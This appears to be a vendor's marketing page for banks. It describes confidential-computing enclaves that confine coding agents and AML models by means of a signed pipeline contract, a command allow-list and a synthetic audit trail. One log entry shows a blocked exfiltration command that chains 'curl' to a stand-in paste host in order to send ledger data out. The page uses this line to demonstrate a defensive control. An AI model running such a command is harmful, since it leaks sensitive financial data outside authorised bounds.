All sectors

Sector brief · Banking & Fintech

Let coding agents and AML models touch the work, not the raw ledger.

Run autonomous coding agents and transaction-risk models inside a command-allow-listed TEE. The contract fixes repo scope, ledger features and egress; every shell command is audited.

Run in your existing AWS, Azure or GCP tenant, with the same policy gate and the same silicon attestation.

  • DORA

    ICT third-party risk, access logging and incident timestamps without a vendor ticket.

  • PCI-DSS

    Raw PAN never enters the workload; only tokenized or derived features are admitted.

  • Banking secrecy

    Command-level audit and zero egress for open-weight coding agents.

Module B · interactive demo

The policy gate holds when the workload does not.

A scripted walkthrough of the same gate that runs in production. Boot the enclave, then try to break the contract. Nothing here touches real data.

Pipeline Contract

PC-FIN-2026-11

Signed
Purpose
Autonomous coding agent + AML feature scoring
Reviewer
CISO / DPO
Output limit
patch + test_report + aml_risk_score
Retention
0 days raw; patch retained 30 days

Allowed columns

  • repo_path
  • git_diff
  • ledger_velocity_30d
  • merchant_category
  • anonymized_counterparty_id

Blocked by policy

  • raw_cardholder_pan
  • customer_iban
  • raw_ledger_rows

Command allow-list

grep · git diff · run_unit_tests · score_aml_features

contract_hash c6e3e053174a86018125e1b6ea…

tee://fintech/policy-gate

Armed

Awaiting action

Boot the enclave, then try to read a blocked column or open a network connection.

The gate is armed. The contract is signed.

chain head 59f1f8760762561fbc…

Module C · architecture inspector

One trust anchor. Two perimeters.

The policy engine and workload run identically in both modes because the trust anchor is the CPU/GPU silicon, not the infrastructure owner.

Cloud Confidential VPC and on-premise air-gapped architecture comparison
Architectural layerCloud Confidential VPCOn-Premise / Air-Gapped
Where the data livesThe bank's existing cloud VPC or a dedicated confidential tenancy.Sovereign bare-metal racks in the bank's datacenter, behind the physical firewall.
TEE hardware targetAWS Nitro Enclaves; Azure/GCP Confidential VMs on AMD SEV-SNP or Intel TDX; NVIDIA H100 confidential GPUs.Bare-metal AMD EPYC (SEV-SNP), Intel Xeon (TDX) and NVIDIA B200/H100 GPU TEEs over encrypted PCIe.
Who is locked out by the TEE?Cloud provider admins, the host OS/hypervisor and the external AI vendor.Internal root sysadmins, hypervisor operators and third-party model/agent developers.
Network & egress ruleVPC-peered zero-egress subnet; the attestation quote must match the contract before keys are released.Strictly air-gapped: 0.0.0.0 outbound blocked. The local verifier checks the silicon signature offline.

Data stays in your tenant and region. No copy is made to Compex.

Module D · evidence bundle

The file your CISO and legal reviewer can check themselves.

A sector-specific, synthetic bundle. The contract hash, hardware attestation quote and ordered execution chain are all pre-loaded for inspection.

evidence.jsonsynthetic · 4 KB · sha256 3c7c6e9a4d22…summary.pdfsynthetic · 7 KB · sha256 4a2ff9bd280c…audit.csvsynthetic · 1 KB · sha256 05621e78c695…

Synthetic demo

No customer data is included. The bundle shows the exact shape a production run exports, including the refused operations.

EV-FIN-2026-11-001.jsonVerified

contract_hash

c6e3e053174a86018125e1b6eab56a3867753773f73407dd64d5b1aecf3a33e2

tee_attestation_quote

Hu/sHwCMV5NDW3E6EmjbCoorL5VkTcYMv5jEc8eSxpke7+wfAIxXk0NbcToSaNsKiisvlWRNxgy/mMRzx5LGmQ==

Intel TDX · TDX quote verified against the Intel root chain · report_data binds the contract hash and workload digest

execution_hash_chain

  1. 001

    CONTRACTPipeline Contract PC-FIN-2026-11 verified against the CISO/DPO signature.

    a34f3d2c4863378d79e93ff06bf1d531392dfa4fdd43d43748605c3e09d14765

  2. 002

    ATTESTIntel TDX quote verified; report_data binds the contract hash.

    6a110a1d6f4973fdc8e570216912c1a154580cce2eee2af1c42f671deca1a1f9

  3. 003

    READAllow-listed read: repo_path, git_diff, ledger_velocity_30d, merchant_category, anonymized_counterparty_id.

    c261efa9f23c1c35018f223ede5cb30f9cd37a57a65c9cfb1c434ea2bda006bb

  4. 004

    OUTPUTSigned output released: patch, test_report and aml_risk_score only.

    659c7cc1b44b0400d929013b4db4a6d7dd1c9ffda828a409f09c3b4176e34f03

  5. 005

    BLOCKEDOut-of-scope read refused: raw_cardholder_pan.

    a26d0a570d3d4ea8984a24be810be538049abfb16c1b6be28da397d50320e60e

  6. 006

    BLOCKEDEgress blocked: gradle publish && curl https://paste.example/ledger.

    5b9abdb2de7f4d7af853f179a3c17f45e259cfc04cb56d0fa91162a64f0c2a54

  7. 007

    SEALEDEvidence bundle sealed; hash chain head signed by the TEE.

    59f1f8760762561fbcb7ea93e0ff1be28d0b489cddf7ed8d60eab6b66de57b60

Bring one blocked vendor review.

We will map the contract and run it in your VPC or air-gapped lab.

Or read the deployment docs.